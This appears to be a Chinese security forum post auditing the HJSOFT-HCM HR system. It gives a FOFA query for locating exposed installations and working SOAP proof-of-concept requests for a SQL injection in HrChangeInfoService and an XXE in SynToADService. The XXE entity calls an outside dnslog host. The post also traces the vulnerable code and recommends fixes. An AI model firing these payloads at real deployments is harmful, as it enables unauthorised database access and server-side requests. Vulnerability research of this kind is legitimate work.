找回密码
立即注册
搜索
发回帖 发新帖

6316

积分

0

好友

783

主题
发表于 2026-2-11 09:13:45 | 查看: 824| 回复: 0

SQL注入漏洞

影响范围

通过 FOFA 搜索引擎,我们可以发现宏景人力资源信息管理系统(HJSOFT-HCM)在互联网上有大量部署。

FOGA 搜索语法:app="HJSOFT-HCM"

FOGA搜索宏景HCM系统结果

POC数据包

以下是触发 SQL 注入漏洞的 SOAP 请求数据包:

POST /services/HrChangeInfoService HTTP/1.1
Host: IP:PORT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml
Content-Length: 448

<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
         xmlns:ser="http://service.core.hrms.com">
  <soapenv:Header/>
  <soapenv:Body>
    <ser:returnSynchroString>
      <strString>test</strString>
      <username>admin';*</username>
      <password>test</password>
    </ser:returnSynchroString>
  </soapenv:Body>
</soapenv:Envelope>

使用 sqlmap 等工具可以成功验证并利用此注入点,获取数据库信息。

sqlmap验证SQL注入成功

漏洞分析

首先,我们从 web.xml 配置文件入手。通过 POC 可以看到,请求的接口路径为 /services/HrChangeInfoService。实际上,路径 /servlet/XFireServlet/HrChangeInfoService 也能达到同样的效果,因为它们最终都映射到同一个 Servlet 进行处理。

web.xml中的Servlet配置

关键配置如下:

<servlet>
  <servlet-name>XFireServlet</servlet-name>
  <servlet-class>org.codehaus.xfire.transport.http.XFireConfigurableServlet</servlet-class>
</servlet>
<servlet-mapping>
  <servlet-name>XFireServlet</servlet-name>
  <url-pattern>/servlet/XFireServlet/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
  <servlet-name>XFireServlet</servlet-name>
  <url-pattern>/services/*</url-pattern>
</servlet-mapping>

可以看到,/services/* 和 /servlet/XFireServlet/* 这两个 URL 模式都交由 org.codehaus.xfire.transport.http.XFireConfigurableServlet 处理。

搜索XFireConfigurableServlet类

分析 XFireConfigurableServlet.class 的源码,其核心功能是通过读取配置文件 META-INF/xfire/services.xml 来动态映射和调用不同的服务类。

XFireConfigurableServlet关键代码

接下来,我们查看 services.xml 配置文件。该文件定义了各个 SOAP 服务名称与具体实现类的映射关系。

services.xml配置文件内容

在配置文件中,我们找到了 HrChangeInfoService 对应的实现类 com.hjsj.hrms.service.core.HrChangeInfoService。这个类正是存在漏洞的入口。

搜索HrChangeInfoService类

打开 HrChangeInfoService.class 进行反编译分析。该类实现了多个方法,用于处理不同的人员信息查询和同步请求。

HrChangeInfoService类结构

我们重点关注 returnSynchroString 方法。该方法接收三个参数:strString、username、password。

returnSynchroString方法代码

在方法内部,首先会调用 this.cheakCode(username, password) 来校验用户名和密码。我们跟进 cheakCode 方法查看其实现逻辑。

导航至cheakCode方法实现

在 cheakCode 方法中,我们看到了问题的根源:传入的 username 和 password 参数未经任何处理,直接拼接到了 SQL 查询语句中。

cheakCode方法中的SQL拼接漏洞

关键的漏洞代码如下:

String sql = "select 1 from operuser where username='" + hjusername + "' and password='" + password + "'";

这种字符串拼接的方式导致了经典的 SQL 注入漏洞。攻击者可以通过精心构造 username 或 password 参数,插入恶意 SQL 代码,从而绕过身份验证、窃取或篡改数据库信息。

此外,该类中的其他方法,如 getWhereChangeUsers,也使用了相同的 cheakCode 方法进行校验,因此同样存在 SQL 注入漏洞。这类通过 SOAP/XML 接口暴露的漏洞,在 代码审计 过程中需要格外关注参数传递与处理链条。

getWhereChangeUsers方法同样存在漏洞

XXE漏洞

除了 SQL 注入,该系统还存在一处 XML 外部实体注入(XXE)漏洞。

POC数据包

利用 XXE 漏洞可以触发外部 DNS 查询,验证漏洞存在。

POST /services/SynToADService HTTP/1.1
Host: IP:PORT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Content-Type: text/xml; charset=UTF-8
SOAPAction: ""
Content-Length: 850

<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
         xmlns:ser="http://service.core.hrms.com">
  <soapenv:Header/>
  <soapenv:Body>
    <ser:sendSyncMsg>
      <xmlMessage>
        <![CDATA[<!DOCTYPE hr [
         <!ENTITY % remote SYSTEM "http://v3i3y6.dnslog.cn">
         %remote;
         %send;
        ]>
        <hr>
         <recs>
          <rec>org,emp</rec>
         </recs>
         <jdbc>
          <datatype>oracle</datatype>
          <database>test</database>
          <ip_addr>127.0.0.1</ip_addr>
          <username>test</username>
          <port>1521</port>
          <pass>test</pass>
         </jdbc>
        </hr>]]>
      </xmlMessage>
    </ser:sendSyncMsg>
  </soapenv:Body>
</soapenv:Envelope>

发送请求后,在 DNSLog 平台可以看到来自目标服务器的查询记录,证明 XXE 漏洞被成功触发。

BurpSuite发送XXE POC请求

DNSLog平台接收到查询记录

漏洞分析

回到 services.xml 配置文件,找到另一个服务 SynToADService,其对应的实现类为 com.hjsj.hrms.service.ladp.SynToADService。

services.xml中的SynToADService配置

搜索SynToADService类

分析 SynToADService.class 的 sendSyncMsg 方法。该方法接收一个名为 xmlMessage 的字符串参数,并将其传递给 synUtils.parseXml(xmlMessage) 进行解析。

SynToADService的sendSyncMsg方法

跟进 SynUtils 类的 parseXml 方法。这里是漏洞产生的关键位置。

SynUtils.parseXml方法代码

在 parseXml 方法中,程序使用了 org.jdom.input.SAXBuilder 来解析 XML。问题在于,代码中没有对 XML 解析器进行任何安全配置(如禁用外部实体、禁用 DTD 等),就直接解析了外部传入的、完全可控的 xmlMessage 字符串。

形成 XXE 漏洞的核心代码如下:

SAXBuilder saxbuilder = new SAXBuilder();  // 漏洞点1:未配置安全属性
StringReader reader = new StringReader(xmlMessage);
Document doc = saxbuilder.build(reader);  // 漏洞点2:直接解析外部可控的XML

由于 xmlMessage 参数完全由攻击者控制,攻击者可以在此处插入恶意的外部实体声明,导致服务器解析 XML 时向攻击者指定的地址发起 HTTP、DNS 等网络请求,可能造成敏感信息泄露(如读取服务器本地文件)或内部网络探测。在针对此类 SOAP 接口进行安全测试时,对 XML 输入的处理逻辑需要仔细审查。

总结

本次对宏景人力资源信息管理系统的代码审计,揭示了两处高风险的安全漏洞:一处是位于 HrChangeInfoService 服务中的 SQL 注入,另一处是位于 SynToADService 服务中的 XXE 漏洞。两处漏洞均源于对用户输入数据的信任与不当处理,是 Web 应用安全中常见的问题。

对于开发人员而言,修复建议非常明确:

  1. SQL注入:将所有数据库查询语句改为使用参数化查询(Prepared Statement),杜绝字符串拼接。
  2. XXE漏洞:在解析 XML 时,配置 SAXBuilder 或对应的 XML 解析器,显式禁用外部实体(FEATURE_EXTERNAL_GENERAL_ENTITIES, FEATURE_EXTERNAL_PARAMETER_ENTITIES)和 DTD 解析。

对于安全研究人员和企业安全团队,此案例再次提醒我们,对于使用传统框架(如 XFire)开发的、对外暴露 SOAP/WebService 接口的系统,应将其纳入重点的安全评估范围。这类接口往往承载着核心业务逻辑,一旦出现漏洞,影响面通常较大。通过静态代码审计与动态渗透测试相结合的方式,可以有效发现并消除此类安全隐患。




上一篇:Elasticsearch与C语言加持的Sist2:仅几MB实现本地文件百倍速搜索
下一篇:在Windows上为UVM环境搭建Linux虚拟机:VMware Workstation 16 Pro安装指南
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-10-14 12:57 , Processed in 0.071752 second(s), 39 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表